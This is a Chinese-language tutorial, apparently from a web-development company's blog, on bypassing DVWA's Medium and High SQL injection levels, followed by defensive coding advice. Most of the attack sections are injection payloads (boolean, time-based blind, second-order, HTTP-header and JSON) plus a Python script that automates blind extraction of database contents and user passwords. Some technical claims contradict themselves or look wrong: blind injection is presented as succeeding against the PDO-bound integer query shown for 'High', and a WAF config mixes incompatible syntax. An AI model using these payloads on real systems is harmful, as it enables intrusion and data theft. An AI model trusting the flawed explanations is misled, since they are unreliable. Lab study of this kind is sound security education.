DVWA SQL注入实验:中高级防护绕过与防御实践
2026/9/14 16:50:36 网站建设 项目流程

1. DVWA SQL注入实验概述

DVWA(Damn Vulnerable Web Application)是一个专门用于安全测试的PHP/MySQL Web应用程序,它包含了多种常见Web漏洞的模拟环境。其中SQL注入模块设置了从Low到High四个难度级别,每个级别都实现了不同的防护措施。本实验将重点分析Medium和High级别的防护机制及其绕过方法。

Medium级别在Low基础上增加了以下防护:

  • 对用户输入进行了mysql_real_escape_string()转义处理
  • 限制了部分特殊字符的使用
  • 采用了数字型参数处理

High级别则进一步强化了防护:

  • 使用了预处理语句(PDO)
  • 实施了严格的字符过滤
  • 加入了CSRF令牌验证

实验环境准备:需预先安装配置好DVWA(建议使用Kali Linux内置版本或Docker部署),将安全级别调整为对应难度。测试账号通常为admin/password。

2. Medium级别绕过技术详解

2.1 数字型注入特征分析

Medium级别虽然使用了mysql_real_escape_string(),但由于处理的是数字型参数,转义机制存在天然缺陷。通过Burp Suite抓包可见参数传递形式:

GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1

关键验证代码如下:

$id = $_GET['id']; $id = mysql_real_escape_string($id); $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";

2.2 绕过方案实测

方案1:算术表达式注入

1+1 → 等效于2 1-1 → 等效于0 1%2F1 → 除法运算(URL编码后)

方案2:位运算注入

1|1 → 按位或 1&1 → 按位与 ~1 → 按位取反

方案3:科学计数法注入

1e0 → 1×10^0 1E1 → 1×10^1

实测payload示例:

1 AND (SELECT COUNT(*) FROM information_schema.tables) > 0 1 OR ASCII(SUBSTRING(database(),1,1)) > 97

2.3 信息获取技巧

分步获取数据库信息:

  1. 确定数据库版本:
1 AND @@version LIKE '5%'
  1. 获取表名:
1 AND (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1) LIKE 'a%'
  1. 提取字段内容:
1 AND (SELECT CONCAT(user,':',password) FROM users LIMIT 0,1) LIKE 'admin%'

注意事项:Medium级别会拦截部分特殊符号,建议使用LIKE替代=,用CONCAT_WS替代CONCAT避免逗号过滤。

3. High级别突破方法

3.1 会话限制分析

High级别引入了CSRF令牌和严格的输入验证:

$id = $_SESSION['id']; $stmt = $pdo->prepare("SELECT first_name, last_name FROM users WHERE user_id = :id"); $stmt->bindParam(':id', $id, PDO::PARAM_INT);

3.2 二次注入技术

虽然直接注入被阻断,但可通过以下步骤实现攻击:

  1. 在用户注册等环节插入恶意数据
  2. 利用应用程序自身逻辑触发恶意SQL
  3. 典型payload:
admin' AND (SELECT 1 FROM (SELECT SLEEP(5))x)--

3.3 时间盲注实现

当常规注入失效时,可采用基于时间的盲注:

1' AND IF(ASCII(SUBSTRING(database(),1,1))>100,SLEEP(5),0)--

使用Python自动化检测脚本:

import requests import time url = "http://dvwa.test/vulnerabilities/sqli/" cookies = {"PHPSESSID": "your_session_id", "security": "high"} def check_char(pos): for i in range(32, 127): payload = f"1' AND IF(ASCII(SUBSTRING(database(),{pos},1))={i},SLEEP(2),0)-- " start = time.time() requests.get(url, params={"id": payload, "Submit": "Submit"}, cookies=cookies) if time.time() - start > 1.5: return chr(i) return None

4. 防御方案设计

4.1 输入验证策略

白名单验证示例:

if (!preg_match('/^[0-9]+$/', $_GET['id'])) { die("Invalid input"); }

类型强制转换:

$id = (int)$_GET['id'];

4.2 预处理语句最佳实践

PDO正确用法:

$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$_GET['id']]);

存储过程示例:

CREATE PROCEDURE get_user(IN uid INT) BEGIN SELECT * FROM users WHERE id = uid; END

4.3 深度防御措施

  1. 应用层防护:
  • 实施最小权限原则
  • 启用SQL日志审计
  • 使用ORM框架
  1. 系统层防护:
  • 配置WAF规则
location / { ModSecurityEnabled on; ModSecurityConfig modsecurity.conf; }
  • 定期更新数据库补丁
  1. 开发规范:
  • 禁止动态拼接SQL
  • 统一使用参数化查询
  • 进行安全代码审查

5. 实战问题排查指南

5.1 常见错误现象

现象可能原因解决方案
500错误特殊字符未转义检查magic_quotes设置
无结果返回过滤规则拦截尝试编码绕过
结果截断长度限制使用SUBSTRING分批获取

5.2 性能优化技巧

  1. 减少查询次数:
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()
  1. 使用二进制搜索加速盲注:
def binary_search(pos): low, high = 32, 127 while low <= high: mid = (low + high) // 2 payload = f"1' AND ASCII(SUBSTRING(database(),{pos},1))>{mid}-- " if check_condition(payload): low = mid + 1 else: high = mid - 1 return chr(low)

5.3 高级绕过技术

HTTP参数污染:

?id=1&id=2' UNION SELECT 1,2--

JSON注入:

{"id":"1' UNION SELECT 1,2-- "}

HTTP头部注入:

X-Forwarded-For: 127.0.0.1' AND (SELECT 1 FROM users WHERE user='admin')--

在实际渗透测试中,这些技术需要根据具体场景组合使用。建议先在测试环境充分验证,避免对生产系统造成影响。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询